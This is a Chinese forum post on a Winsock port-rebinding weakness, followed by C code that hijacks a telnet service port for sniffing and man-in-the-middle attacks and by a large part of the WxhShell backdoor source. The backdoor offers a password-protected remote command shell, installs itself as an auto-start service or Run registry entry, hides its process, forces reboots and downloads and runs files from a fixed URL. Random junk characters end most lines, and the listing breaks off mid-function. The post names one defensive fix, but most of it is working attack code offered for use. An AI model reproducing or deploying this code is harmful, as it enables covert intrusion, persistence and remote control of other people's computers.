社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19492阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;9#W#/B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O.Te"=^"F  
s 7%iuP  
  saddr.sin_family = AF_INET; @D["#pe,}  
 EAr;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?|oN}y"i  
YVHf-uP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K)1Lg? j  
aox@- jyr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (,mV6U%  
u"T9w]Z\  
  这意味着什么?意味着可以进行如下的攻击: <tO@dI$~>  
1DU l<&4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 iVVR$uzhH  
{&Rz>JK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `X ()"Qw  
'b[O-6v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ETX>wZ  
AL&<SxuP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  eC 2~&:$L  
04-@c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jpXbFWgN  
9!r0uU"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f;+.j/ +  
uARkf'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `CL\-  
d@8: f  
  #include vN]_/T+  
  #include R:'&>.AUw  
  #include ,\\=f#c=  
  #include    < )_#6)z:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %PPy0RZ^  
  int main() xU{0rM"  
  { dB&<P[$+8  
  WORD wVersionRequested; FKe/xz  
  DWORD ret; ,T ^A?t  
  WSADATA wsaData; >#;_Ebl@  
  BOOL val; !Dc;R+Ir0!  
  SOCKADDR_IN saddr; I"8Z'<|/\q  
  SOCKADDR_IN scaddr; qv2J0'd'.  
  int err; VWYNq^<AT  
  SOCKET s; e<8KZ  
  SOCKET sc; iB~dO @  
  int caddsize; S<*1b 6%D  
  HANDLE mt; +?QHSIQo  
  DWORD tid;   sVnq|[ /  
  wVersionRequested = MAKEWORD( 2, 2 ); W<O/LHKHdn  
  err = WSAStartup( wVersionRequested, &wsaData ); <Vh5`-J  
  if ( err != 0 ) { <Nloh+n=  
  printf("error!WSAStartup failed!\n"); t"~X6o|R  
  return -1; 1 K^-tms  
  } )-iUUak  
  saddr.sin_family = AF_INET; 5,O:"3>c  
   ZOppec1D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9qzHy}A  
3qV~C{ S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "WPWMQ+  
  saddr.sin_port = htons(23); cdI"=B+C\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c>r~pY~$  
  { b; vVlIG  
  printf("error!socket failed!\n"); 2>J;P C[;  
  return -1; -EU=R_yg  
  } )\W}&9 >  
  val = TRUE; 6Y.k<oem  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4Pf"R ~&[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /7a3*a  
  { p2O[r  
  printf("error!setsockopt failed!\n"); 1b7?6CqV  
  return -1; P=E10  
  } RN&8dsreZp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z>=;Xe8P8n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sUk n.g!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W=#jtU`:5  
l;h -`( 11  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \f]w'qiW5  
  { tqt~F2u  
  ret=GetLastError(); Xp6Z<Z&N  
  printf("error!bind failed!\n"); =8]Ru(#Ig  
  return -1; ne[H`7c  
  } )1YGWr;ykS  
  listen(s,2); AXo)(\  
  while(1) @P=n{-pIW  
  { ^g<Lu/5w  
  caddsize = sizeof(scaddr); >Fe=PRs  
  //接受连接请求 @te}Asv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mEb`ET|  
  if(sc!=INVALID_SOCKET) B>"-8#B[4  
  { :^x,>( a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K)\D,5X^  
  if(mt==NULL) d(5j#?  
  {  ?f5||^7  
  printf("Thread Creat Failed!\n"); .Rb4zLYL*w  
  break; '&]6(+I>  
  } d%!yFix;<  
  } L<Z2  
  CloseHandle(mt); }$@K   
  } e&m TaCLG  
  closesocket(s); Ghe@m6|D  
  WSACleanup(); \pI ,6$'  
  return 0; sI4 FgO  
  }   )%: W;H  
  DWORD WINAPI ClientThread(LPVOID lpParam) G+3uY25y  
  { %2?"x*A  
  SOCKET ss = (SOCKET)lpParam; ZS&lXgo  
  SOCKET sc; nXh<+7  
  unsigned char buf[4096]; f\:I1y  
  SOCKADDR_IN saddr; B\dhw@hM  
  long num; L'"od;(6R  
  DWORD val; 1@+&6UC  
  DWORD ret; mm | *  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ])zpx-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Wx8 cK=  
  saddr.sin_family = AF_INET; LH~ t5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a=[|"J<M  
  saddr.sin_port = htons(23); 1u* (=!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X(]J\?n'  
  { On@p5YRwW  
  printf("error!socket failed!\n"); {#+'T13sx  
  return -1; ,(+ZD@Rg  
  } G<~P||Lu^  
  val = 100; I%0J=V;o{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #vR5a}BAk  
  { Y~OyoNu2  
  ret = GetLastError(); 7l'1  
  return -1; .4=A:9  
  } d%1 Vby  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N VDvd6  
  { oTpoh]|[  
  ret = GetLastError(); woU3WS0  
  return -1; r6+IJxUd  
  } 8ePzU c\#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;s-fYS6(>{  
  { !Ome;g S)  
  printf("error!socket connect failed!\n"); \JF 2'm\M  
  closesocket(sc); ><)fK5x  
  closesocket(ss); ?bG82@-  
  return -1; :O*62olC5  
  } Tz/[P:O3  
  while(1) hnv0Loe.IW  
  { DH4|lb}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1a#R7chl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ve*6WDK,H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )U2%kmt  
  num = recv(ss,buf,4096,0); Z1DF)  
  if(num>0) {6wy}<ynC+  
  send(sc,buf,num,0); 9:Z|Z?>?  
  else if(num==0) w< |Lx#L}  
  break; *jy"g64j  
  num = recv(sc,buf,4096,0); j)jt&Gg'  
  if(num>0) ,\PTn7_  
  send(ss,buf,num,0); K$ |!IXs  
  else if(num==0) ~A>-tn}O  
  break; dQAo~] B  
  } M[&p[P@  
  closesocket(ss); 6c[ L*1  
  closesocket(sc); Nbm$ta  
  return 0 ; bB.Yq3KI  
  } DJH,#re>  
3>^S6h}o  
l{3ZN"`I  
========================================================== jTok1k  
\Xg`@JrTM  
下边附上一个代码,,WXhSHELL ;;zd/n2b  
N*Xl0m(Q  
========================================================== A)f/ww)Q  
1h?:gOig  
#include "stdafx.h" tkhEjTZ  
-k3WY&9,  
#include <stdio.h> &_Gu'A({J  
#include <string.h>  #U/L8  
#include <windows.h> |Lz7}g=6  
#include <winsock2.h> C2K<CDVw  
#include <winsvc.h> elb}] +  
#include <urlmon.h> qo}u(p Oj|  
l,E4h-$  
#pragma comment (lib, "Ws2_32.lib") 8t& 'Yk  
#pragma comment (lib, "urlmon.lib") + oNr c.  
A:,V)  
#define MAX_USER   100 // 最大客户端连接数 A@I3:V  
#define BUF_SOCK   200 // sock buffer j!?bE3r~  
#define KEY_BUFF   255 // 输入 buffer g7]g0*gxXW  
El3Ayd3  
#define REBOOT     0   // 重启 i&,1  
#define SHUTDOWN   1   // 关机 z~yLc{M  
6E:5w9_=c  
#define DEF_PORT   5000 // 监听端口 r Ww.(l  
izr 3{y5  
#define REG_LEN     16   // 注册表键长度 :N:e3$c  
#define SVC_LEN     80   // NT服务名长度 BKW%/y"  
4yRX{Bl|  
// 从dll定义API 8)&J oPN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !Y]%U @4}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7e<\11uI]a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v7D3aWoe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KKJa?e`C  
<h1J+  
// wxhshell配置信息 *(Us:*$W.  
struct WSCFG { U,^jN|v  
  int ws_port;         // 监听端口 'J#uD|9)  
  char ws_passstr[REG_LEN]; // 口令 |>=\ VX17  
  int ws_autoins;       // 安装标记, 1=yes 0=no _K|?;j#x0k  
  char ws_regname[REG_LEN]; // 注册表键名 FGRG?d4?h  
  char ws_svcname[REG_LEN]; // 服务名 5~SBZYI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P, SI0$Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kr;F4G|Qt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aW$))J)0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )mRKIM}*W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A-qpuI;f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fk&A2C}$b  
hUMFfc ?  
}; [$%0[;jtS  
DBzF\-  
// default Wxhshell configuration ZZF\;  
struct WSCFG wscfg={DEF_PORT, 0Ewt >~n  
    "xuhuanlingzhe", ;i;;{j@$i  
    1, |#(g 8ua7  
    "Wxhshell", L~L]MC&  
    "Wxhshell", y O?52YO  
            "WxhShell Service", Zq"wq[GCN  
    "Wrsky Windows CmdShell Service", A/*h[N+2!  
    "Please Input Your Password: ", *Ja,3Qq  
  1, xT3l>9i  
  "http://www.wrsky.com/wxhshell.exe", Dlu]4n[LB  
  "Wxhshell.exe" /pnQKy.  
    }; zH?&FtO  
,DWC=:@X  
// 消息定义模块 fm^)u"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 38(|a5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :vy./83W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oJ)v6"j  
char *msg_ws_ext="\n\rExit."; rZ7)sE5L  
char *msg_ws_end="\n\rQuit."; 3`Q>s;DjIU  
char *msg_ws_boot="\n\rReboot..."; ),+u>Os&  
char *msg_ws_poff="\n\rShutdown..."; I'16-  
char *msg_ws_down="\n\rSave to "; e!*%U= [Q  
D z5(v1I9A  
char *msg_ws_err="\n\rErr!"; jj"?#`cW  
char *msg_ws_ok="\n\rOK!"; U-:_4[  
v@E/?\k"  
char ExeFile[MAX_PATH]; `_H^k !^  
int nUser = 0; _<G%  
HANDLE handles[MAX_USER]; |m>n4 -5QL  
int OsIsNt; ~6:y@4&F  
p` LPO  
SERVICE_STATUS       serviceStatus; cK+y3`.0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AA0zt N  
&>o?0A6  
// 函数声明 @V# wYt  
int Install(void); lIF*$#`oh*  
int Uninstall(void); "t)|N dZm  
int DownloadFile(char *sURL, SOCKET wsh); ;X2(G  
int Boot(int flag); J*CfG;Y:  
void HideProc(void); Oe%jV,S|V  
int GetOsVer(void); I`}<1~ue  
int Wxhshell(SOCKET wsl); Qz?r4kR  
void TalkWithClient(void *cs); ='|HUxFi  
int CmdShell(SOCKET sock); HxH=~B1"P  
int StartFromService(void); s_N]$3'[E  
int StartWxhshell(LPSTR lpCmdLine); T~'9p`IW  
vdN0YCXG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1f`=U 0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #>byP?)n  
,\ RxKSU  
// 数据结构和表定义 E8.xmTq  
SERVICE_TABLE_ENTRY DispatchTable[] = #5.L%F  
{ :,(ZMx\  
{wscfg.ws_svcname, NTServiceMain}, M.R] hI  
{NULL, NULL} N%&D(_  
}; b/Z 0{38  
#ZRplA~C7]  
// 自我安装 -"e$ VB  
int Install(void) !56gJJ-r  
{ -'!%\E;5  
  char svExeFile[MAX_PATH]; NQ(}rr'.  
  HKEY key; tcxs%yWO1  
  strcpy(svExeFile,ExeFile); S4Vv _k-&  
ku}I; k |  
// 如果是win9x系统,修改注册表设为自启动 l6Q75i)eF  
if(!OsIsNt) { #GHLF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]xIfgSq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S*1Km&  
  RegCloseKey(key); NCM&6<_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { : Gz#4k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zl !`*{T{  
  RegCloseKey(key); ly] n2RK  
  return 0; ~|~j01#  
    } /M "E5  
  } '{:Yg3K  
} k99ANW  
else { !*gTC1bvB  
e r;3TG~  
// 如果是NT以上系统,安装为系统服务 h}U\2$5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^L<*ggw  
if (schSCManager!=0) 6uijxia  
{ 5Y&s+|   
  SC_HANDLE schService = CreateService z<F.0~)jb  
  ( AQ 5CrYb  
  schSCManager, lAwOp  
  wscfg.ws_svcname, d>Z{TFY  
  wscfg.ws_svcdisp, *?+maK{5+  
  SERVICE_ALL_ACCESS, Y(]&j`%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,1YnWy *  
  SERVICE_AUTO_START, 1!E+(Iq  
  SERVICE_ERROR_NORMAL, k+S 6)BQ7U  
  svExeFile, &,Xs=Lv mq  
  NULL, ;U|^Tsuc`  
  NULL, h?:lO3)TL=  
  NULL, z AxwM-`  
  NULL, THmX=K4=?  
  NULL ZK[S'(6q  
  ); Cu\A[6g,  
  if (schService!=0) o?J>mpC  
  { ZC1U  
  CloseServiceHandle(schService); z.[ Ok  
  CloseServiceHandle(schSCManager); m dC.M$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B94mh  
  strcat(svExeFile,wscfg.ws_svcname); F=hfbCF5x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uj-q@IKe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -hP@L ++D  
  RegCloseKey(key); [D H@>:"dd  
  return 0; {O,Cc$_  
    } ]AGJPuX  
  } d*lnXzQor  
  CloseServiceHandle(schSCManager); <oS k!6*  
} 1b'1vp  
} qu[x=LZ_  
,diV;d  
return 1; e6f!6a+%  
} BV&}(9z  
LTY@}o]\U  
// 自我卸载 1px:(8]{  
int Uninstall(void) 0=8.8LnN(  
{ F^=|NlU&%  
  HKEY key; 5U[;T]{)e  
v5t`?+e  
if(!OsIsNt) { y)v'0q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h@z(yB j:0  
  RegDeleteValue(key,wscfg.ws_regname); 4\?I4|{pC  
  RegCloseKey(key); ujcNSX*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PL8eM]XS  
  RegDeleteValue(key,wscfg.ws_regname); 'B"kUh%3$5  
  RegCloseKey(key); d& @KGJ  
  return 0; ~`MGXd"o  
  } %rT XT  
} x]k^JPX  
} M)#R_(Q5{  
else { n\ma5"n0=\  
F,e_`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O;:8mm%(  
if (schSCManager!=0) %f@VOSs  
{ C/[2?[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SF;;4og  
  if (schService!=0) .J~iRhVOF  
  { z1LATy  
  if(DeleteService(schService)!=0) { ]P ->xJ  
  CloseServiceHandle(schService); m \4jiR_o  
  CloseServiceHandle(schSCManager); <9/oqp{C4  
  return 0; 7fl'nCo\"  
  } @)m+O#a  
  CloseServiceHandle(schService); F5J=+Q%8[&  
  } ;G~0 VM2|  
  CloseServiceHandle(schSCManager); 9h$-:y3  
} ;P _`4w3  
} SM:{o&S`  
D;<Q m,[  
return 1; _qmB PUx  
} ~]A';xH&  
k-T_,1l{  
// 从指定url下载文件 \nx ^=4*yk  
int DownloadFile(char *sURL, SOCKET wsh) Xt8;Pl  
{ C did*hxJ  
  HRESULT hr; Uz H)fB  
char seps[]= "/"; gW6lMyiLb  
char *token; K I$?0O  
char *file; |zvxKIW;wd  
char myURL[MAX_PATH]; y3$' gu|  
char myFILE[MAX_PATH]; Vk$zA<sw"  
N:clwmo  
strcpy(myURL,sURL); KL0u:I(lWU  
  token=strtok(myURL,seps); @dJ s  
  while(token!=NULL) m5zP|s1`['  
  { 89@89-_mC  
    file=token; 788q<7E  
  token=strtok(NULL,seps); ,+*8 @>c  
  } r,MgIv(L  
iAT&C`,(&  
GetCurrentDirectory(MAX_PATH,myFILE); t_,iV9NrZ  
strcat(myFILE, "\\"); ^C):yxN P  
strcat(myFILE, file); q`}Q[Li  
  send(wsh,myFILE,strlen(myFILE),0); f<WnPoV  
send(wsh,"...",3,0); OV>T}Fq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VPn #O  
  if(hr==S_OK) K~@-*8%  
return 0; ,vW.vq<{q3  
else *D,+v!wG9  
return 1; '4FS.0*_  
PQvq$|q  
} 3VA8K@QiRm  
[gzw<b:`  
// 系统电源模块 ;myu8B7&  
int Boot(int flag) Gr?"okaA  
{ C3bZ3vcW$  
  HANDLE hToken; ?GD{}f33  
  TOKEN_PRIVILEGES tkp; 5HL JkOV5  
 h:#  
  if(OsIsNt) { .rG Rdb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ua V9T:)x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Nf0b?jn-  
    tkp.PrivilegeCount = 1; /n?5J`6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m2{z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tJ.LPgfZ  
if(flag==REBOOT) { / vje='[!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  O\]CfzR  
  return 0; p4Vw`i+DnH  
} tmK@Veb*a'  
else { k'%c|kx8U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p`Omcl~Q  
  return 0; +2B{"Czm  
} k%:]PQjYT  
  } Tr/wG  
  else { Q-O:L  
if(flag==REBOOT) { +VDl"Hx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tI{ n!  
  return 0; W3*WR,z  
} { j&|Em]  
else { j^iH[pN] \  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L\_8}\  
  return 0; +#1WOQfAD  
} $./JA) `  
} @/anJrt  
3'u%[bx E  
return 1; 4p>@UB&U  
} 9Wx q  
5 ;dg#hO  
// win9x进程隐藏模块 gA2\c5F<  
void HideProc(void) XV%L6x  
{ *[W!ng  
4=F~^Xc`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N;-+)=M,rf  
  if ( hKernel != NULL ) t}nZrD  
  { IH[/fd0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dWD9YIYf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AZl|; y  
    FreeLibrary(hKernel); #5G!lbH  
  } [ "J  
l+R-lsj  
return; uA:;OM}  
} N<Y-]xS  
'9<Mk-Aj  
// 获取操作系统版本 Ez<J+#)t  
int GetOsVer(void) ^"6xE nA]  
{ 'n!;7*  
  OSVERSIONINFO winfo; b*dRNu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c 0!bn b  
  GetVersionEx(&winfo); ;?zb (2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  >?U (w<  
  return 1; O~fRcf:Q  
  else ,a^_ ~(C  
  return 0; pgU54 Ef  
} O+.V,` O  
4d0PW#97.  
// 客户端句柄模块 wGnjuIR  
int Wxhshell(SOCKET wsl) 3iH!;`i  
{ `j4ukOnG  
  SOCKET wsh; C&<f YCwG  
  struct sockaddr_in client; V%e'H>EC  
  DWORD myID; YaSwn3i/@S  
v[m/>l2[P  
  while(nUser<MAX_USER) ZwO&G\A^  
{ n8zUL1:R  
  int nSize=sizeof(client); S 5m1~fz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &giJO-^ f  
  if(wsh==INVALID_SOCKET) return 1; )F4er '  
.t"s>jq 1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'cH),~ z  
if(handles[nUser]==0) vx!nC}f"k`  
  closesocket(wsh); &z1r$X.AW  
else quGb;)3  
  nUser++; BR5$;-7W  
  } wg!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;EL!TzL:8  
rU.ew~  
  return 0; zFB$^)v"<  
} ' 'UiQ   
1__p1  
// 关闭 socket R8o9$&4_  
void CloseIt(SOCKET wsh) En5I  
{ bB)EJCPq>  
closesocket(wsh); O_F<VV*MFQ  
nUser--; `Ph4!-6#  
ExitThread(0); aWe H,A%  
} =B<g_9d4  
/wCP(1Mw  
// 客户端请求句柄 nfrC@Av  
void TalkWithClient(void *cs) C@]Z&H;  
{ !WVF{L,/I  
q3scz  
  SOCKET wsh=(SOCKET)cs; pN*>A^  
  char pwd[SVC_LEN]; AU-/-h=Mr  
  char cmd[KEY_BUFF]; f*oL8"?u&  
char chr[1]; P-^Z7^o-bX  
int i,j; \zj8| +  
[|k@Suv |z  
  while (nUser < MAX_USER) { O$$s]R6  
oh& P Q{  
if(wscfg.ws_passstr) { {T:2+iS9:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]lZ!en  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?1OS%RBF  
  //ZeroMemory(pwd,KEY_BUFF); #FuOTBNvB  
      i=0; 4!/{CGP  
  while(i<SVC_LEN) { wk8XD(&  
'^7Sa  
  // 设置超时 }p8a'3@Z  
  fd_set FdRead; 5Z`f)qE  
  struct timeval TimeOut; ]dk~C?H  
  FD_ZERO(&FdRead); pw- C=MY]  
  FD_SET(wsh,&FdRead); d['BtVJ  
  TimeOut.tv_sec=8; i/)Uj-*G)  
  TimeOut.tv_usec=0; /7P4[~vw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eW7;yH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ajkRL|^  
<k<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v C><N  
  pwd=chr[0]; =GnDiI  
  if(chr[0]==0xd || chr[0]==0xa) { 3( AgUq  
  pwd=0; AbLOq@lrK  
  break; ;znIY&Z  
  } tM{t'WU  
  i++; --  _,;  
    } ZHw)N&Qn  
O v?k4kJ  
  // 如果是非法用户,关闭 socket mQJRq??P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a8Ci 7<V  
} oqUtW3y  
g<}K^)x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &IOChQ`8P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z4E:Z}~''  
_?O'65  
while(1) { DFR.F:O%  
a{Tv#P*!  
  ZeroMemory(cmd,KEY_BUFF); |*OS;FD5  
[",W TZ:  
      // 自动支持客户端 telnet标准   =wI ,H@  
  j=0; ~{U~9v^v (  
  while(j<KEY_BUFF) { FS`{3d2K +  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {T m-X`  
  cmd[j]=chr[0]; g4I(uEJk  
  if(chr[0]==0xa || chr[0]==0xd) { *Pw; ;#\B  
  cmd[j]=0; ,Qj7wFZ  
  break; !:rQ@PSy9  
  } 8n);NZ  
  j++; qrm~=yU%  
    } mpXc o *!_  
Ay2Vz>{  
  // 下载文件 Tfs7SC8ta  
  if(strstr(cmd,"http://")) { pS*vwYA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HPr5mWs:  
  if(DownloadFile(cmd,wsh)) A*MlK"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H.wp{m{  
  else dO rgqz`e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (j}"1  
  } K~v"%sG{`  
  else { *4]I#N  
EV2whs2g  
    switch(cmd[0]) { *9?-JBT&F  
  ~~:i+-[  
  // 帮助 (ioi !p  
  case '?': { ~i6tc d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3H@TvV/;f  
    break; ,j9}VnW)  
  } R;'Pe>  
  // 安装 UiaY0 .D  
  case 'i': { 6D3fkvc Z  
    if(Install()) TQ>kmHWf/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}  eZX  
    else Lgvmk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BNu zlR  
    break; N;<<-`i  
    } T4o}5sq}S  
  // 卸载 eP[azC"G[  
  case 'r': { rK}*Uwut  
    if(Uninstall()) q.uIZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q;t T*B W  
    else \W}?4kz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !=|3^A  
    break; aq,&W q@  
    } <iJ->$  
  // 显示 wxhshell 所在路径 )#IiHBF  
  case 'p': { xREqcH,vU  
    char svExeFile[MAX_PATH]; @6}c\z@AxM  
    strcpy(svExeFile,"\n\r"); { S4?L8  
      strcat(svExeFile,ExeFile); r?[PIf  
        send(wsh,svExeFile,strlen(svExeFile),0); '1^\^)&q  
    break; U#d&#",s  
    } IWuR=I$t  
  // 重启 VU}UK$JN  
  case 'b': { EJb"/oLla  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "A,]y E  
    if(Boot(REBOOT)) tlI3jrgw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G5bi,^G7  
    else { qmtVk  
